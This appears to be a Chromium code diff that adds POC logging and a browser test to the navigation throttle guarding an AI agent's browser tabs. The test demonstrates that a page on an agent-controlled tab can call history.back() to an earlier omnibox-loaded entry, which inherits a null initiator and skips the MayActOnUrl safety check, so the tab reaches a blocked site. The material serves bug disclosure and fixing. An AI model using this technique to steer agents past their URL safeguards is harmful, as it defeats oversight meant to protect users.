diff --git a/chrome/browser/actor/actor_navigation_throttle.cc b/chrome/browser/actor/actor_navigation_throttle.cc index abd2a34e0a731..4f6276bb5e59e 100644 --- a/chrome/browser/actor/actor_navigation_throttle.cc +++ b/chrome/browser/actor/actor_navigation_throttle.cc @@ -193,7 +193,28 @@ ActorNavigationThrottle::WillStartOrRedirectRequest(bool is_redirection) { AggregatedJournal& journal = GetJournal(); + // ==== POC INSTRUMENTATION ==== + LOG(ERROR) << "[ActorNavThrottle-POC] WillStartOrRedirectRequest" + << " url=" << navigation_url + << " is_redirection=" << is_redirection + << " initiator_origin=" + << (initiator_origin ? initiator_origin->Serialize() + : std::string("")) + << " IsRendererInitiated=" + << navigation_handle()->IsRendererInitiated(); + // ============================= + if (!is_redirection && !initiator_origin) { + // ==== POC INSTRUMENTATION ==== + LOG(ERROR) + << "[ActorNavThrottle-POC] BRANCH=NotTriggeredByPage -> PROCEED " + "(MayActOnUrl SKIPPED). IsRendererInitiated=" + << navigation_handle()->IsRendererInitiated() + << (navigation_handle()->IsRendererInitiated() + ? " *** BUG: renderer-initiated nav misclassified as 'not " + "triggered by page'; safety checks bypassed ***" + : ""); + // ============================= journal.Log(navigation_url, task_id_, "NavThrottle", JournalDetailsBuilder() .Add("navigate", "Not triggered by page") @@ -201,6 +222,11 @@ ActorNavigationThrottle::WillStartOrRedirectRequest(bool is_redirection) { return content::NavigationThrottle::PROCEED; } + // ==== POC INSTRUMENTATION ==== + LOG(ERROR) << "[ActorNavThrottle-POC] BRANCH=CheckSafety (MayActOnUrl will " + "be evaluated)"; + // ============================= + if (initiator_origin && initiator_origin->IsSameOriginWith(navigation_url)) { journal.Log(navigation_url, task_id_, "NavThrottle", JournalDetailsBuilder() diff --git a/chrome/browser/actor/execution_engine_browsertest.cc b/chrome/browser/actor/execution_engine_browsertest.cc index b49f6364d6f59..259dd14bff843 100644 --- a/chrome/browser/actor/execution_engine_browsertest.cc +++ b/chrome/browser/actor/execution_engine_browsertest.cc @@ -58,14 +58,17 @@ #include "components/optimization_guide/content/browser/page_content_proto_provider.h" #include "components/optimization_guide/core/filters/optimization_hints_component_update_listener.h" #include "components/optimization_guide/proto/features/actions_data.pb.h" +#include "components/safe_browsing/core/common/safe_browsing_prefs.h" #include "components/viz/common/frame_sinks/copy_output_result.h" #include "content/public/browser/render_frame_host.h" #include "content/public/browser/render_widget_host_view.h" #include "content/public/browser/web_contents.h" #include "content/public/common/content_client.h" +#include "content/public/test/back_forward_cache_util.h" #include "content/public/test/browser_test.h" #include "content/public/test/browser_test_utils.h" #include "content/public/test/download_test_observer.h" +#include "content/public/test/navigation_handle_observer.h" #include "content/public/test/prerender_test_util.h" #include "content/public/test/test_frame_navigation_observer.h" #include "content/public/test/test_navigation_observer.h" @@ -436,6 +439,129 @@ IN_PROC_BROWSER_TEST_F(ExecutionEngineBrowserTest, PrerenderBlockedSite) { mojom::ActionResultCode::kTriggeredNavigationBlocked); } +// ===================================================================== +// POC: ActorNavigationThrottle bypass via renderer-initiated history.back() +// +// ActorNavigationThrottle::WillStartOrRedirectRequest treats +// `!initiator_origin` as "not triggered by page" and skips MayActOnUrl. But a +// renderer-initiated history.back()/go() to a session-history entry that was +// originally browser-initiated (omnibox / bookmark / session-restore) inherits +// that entry's null initiator_origin while IsRendererInitiated() is still true. +// +// This test demonstrates that a page on an actor-controlled tab can call +// history.back() to a previously-browser-initiated URL and the throttle will +// PROCEED through the "Not triggered by page" branch without ever calling +// MayActOnUrl -- bypassing the WillStartRequest safety layer. +// ===================================================================== +IN_PROC_BROWSER_TEST_F(ExecutionEngineBrowserTest, + POC_HistoryBackBypassesNavThrottleInitiatorCheck) { + // Use a MayActOnUrl check that is NOT re-evaluated by WillProcessResponse: + // disable SafeBrowsing so MayActOnUrl rejects every non-localhost URL with + // kSafeBrowsing. WillProcessResponse / DetermineGatingDecision does not + // re-check this, so a navigation that bypasses WillStartRequest's + // MayActOnUrl will commit. + safe_browsing::SetSafeBrowsingState( + browser()->profile()->GetPrefs(), + safe_browsing::SafeBrowsingState::NO_SAFE_BROWSING); + + // The bug is in WillStartRequest. A BFCache restore activates the cached page + // without going through WillStartRequest, so the vulnerable branch isn't + // reached. The bug applies to any history entry that is *not* BFCache-eligible + // (Cache-Control: no-store, unload handlers, BroadcastChannel, etc. -- common + // in production); disable BFCache here so history.back() is a real navigation. + content::DisableBackForwardCacheForTesting( + web_contents(), content::BackForwardCache::TEST_REQUIRES_NO_CACHING); + + const GURL prior_url = + embedded_https_test_server().GetURL("a.com", "/actor/blank.html"); + const GURL attacker_url = + embedded_https_test_server().GetURL("b.com", "/actor/blank.html"); + + // Step 1: Browser-initiated navigation (e.g. omnibox) to `prior_url`. The + // session-history FrameNavigationEntry stores initiator_origin = nullopt. + ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), prior_url)); + + // Step 2: Browser-initiated navigation to the attacker-controlled page. + ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), attacker_url)); + + // Step 3: Actor task takes control of the tab. From now on every main-frame + // navigation in this tab installs ActorNavigationThrottle. + { + base::RunLoop loop; + actor_task().AddTab( + active_tab()->GetHandle(), + base::BindLambdaForTesting([&](mojom::ActionResultPtr result) { + EXPECT_TRUE(IsOk(*result)); + loop.Quit(); + })); + loop.Run(); + } + ASSERT_TRUE(actor_task().IsActingOnTab(active_tab()->GetHandle())); + + // ---- CONTROL: a normal renderer-initiated cross-origin navigation has a + // non-null initiator_origin, so the throttle routes it through MayActOnUrl + // (BRANCH=CheckSafety in the instrumented log). It is BLOCKED because + // SafeBrowsing is disabled, so MayActOnUrl rejects with kSafeBrowsing. ---- + { + LOG(ERROR) << "[POC-TEST] === CONTROL: location.href to " << prior_url + << " (renderer-initiated, non-null initiator) ==="; + content::NavigationHandleObserver obs(web_contents(), prior_url); + content::TestNavigationManager mgr(web_contents(), prior_url); + EXPECT_TRUE(content::ExecJs( + web_contents(), content::JsReplace("location.href = $1;", prior_url), + content::EXECUTE_SCRIPT_NO_USER_GESTURE)); + ASSERT_TRUE(mgr.WaitForNavigationFinished()); + + EXPECT_TRUE(obs.is_renderer_initiated()); + // The throttle saw a non-null initiator (see [ActorNavThrottle-POC] log + // line "initiator_origin=https://b.com:..."), routed through MayActOnUrl, + // and blocked it via CANCEL_AND_IGNORE. + EXPECT_FALSE(obs.has_committed()) + << "control nav to blocked host should have been cancelled by " + "ActorNavigationThrottle"; + // Still on the attacker page. + EXPECT_EQ(attacker_url, web_contents()->GetLastCommittedURL()); + } + + // ---- BYPASS: renderer-initiated history.back() to the same `prior_url`. + // Because the session-history entry was browser-initiated, the + // NavigationRequest inherits initiator_origin = nullopt even though + // IsRendererInitiated() == true. The throttle's `!initiator_origin` check + // misclassifies it as "Not triggered by page" and PROCEEDs without calling + // MayActOnUrl (BRANCH=NotTriggeredByPage in the instrumented log). ---- + { + LOG(ERROR) << "[POC-TEST] === BYPASS: history.back() to " << prior_url + << " (renderer-initiated, NULL initiator) ==="; + content::NavigationHandleObserver obs(web_contents(), prior_url); + content::TestNavigationManager mgr(web_contents(), prior_url); + EXPECT_TRUE(content::ExecJs(web_contents(), "history.back();", + content::EXECUTE_SCRIPT_NO_USER_GESTURE)); + ASSERT_TRUE(mgr.WaitForNavigationFinished()); + + // *** Core of the bug: renderer-initiated but null initiator_origin. *** + EXPECT_TRUE(obs.is_renderer_initiated()) + << "history.back() must be renderer-initiated"; + EXPECT_FALSE(obs.last_initiator_origin().has_value()) + << "history nav inherits the original (browser-initiated) entry's " + "null initiator_origin"; + + // The throttle returned PROCEED at WillStartRequest -- MayActOnUrl was + // never invoked for this renderer-initiated navigation. The navigation + // commits to the blocked host. + EXPECT_TRUE(obs.has_committed()) + << "BUG: throttle PROCEEDed via 'Not triggered by page' branch; " + "MayActOnUrl was bypassed"; + EXPECT_EQ(prior_url, web_contents()->GetLastCommittedURL()); + LOG(ERROR) << "[POC-TEST] BYPASS RESULT: committed=" << obs.has_committed() + << " is_renderer_initiated=" << obs.is_renderer_initiated() + << " initiator_origin=" + << (obs.last_initiator_origin() + ? obs.last_initiator_origin()->Serialize() + : std::string("")) + << " final_url=" << web_contents()->GetLastCommittedURL(); + } +} + IN_PROC_BROWSER_TEST_F(ExecutionEngineBrowserTest, ExternalProtocolLinkBlocked) { const GURL start_url = embedded_https_test_server().GetURL(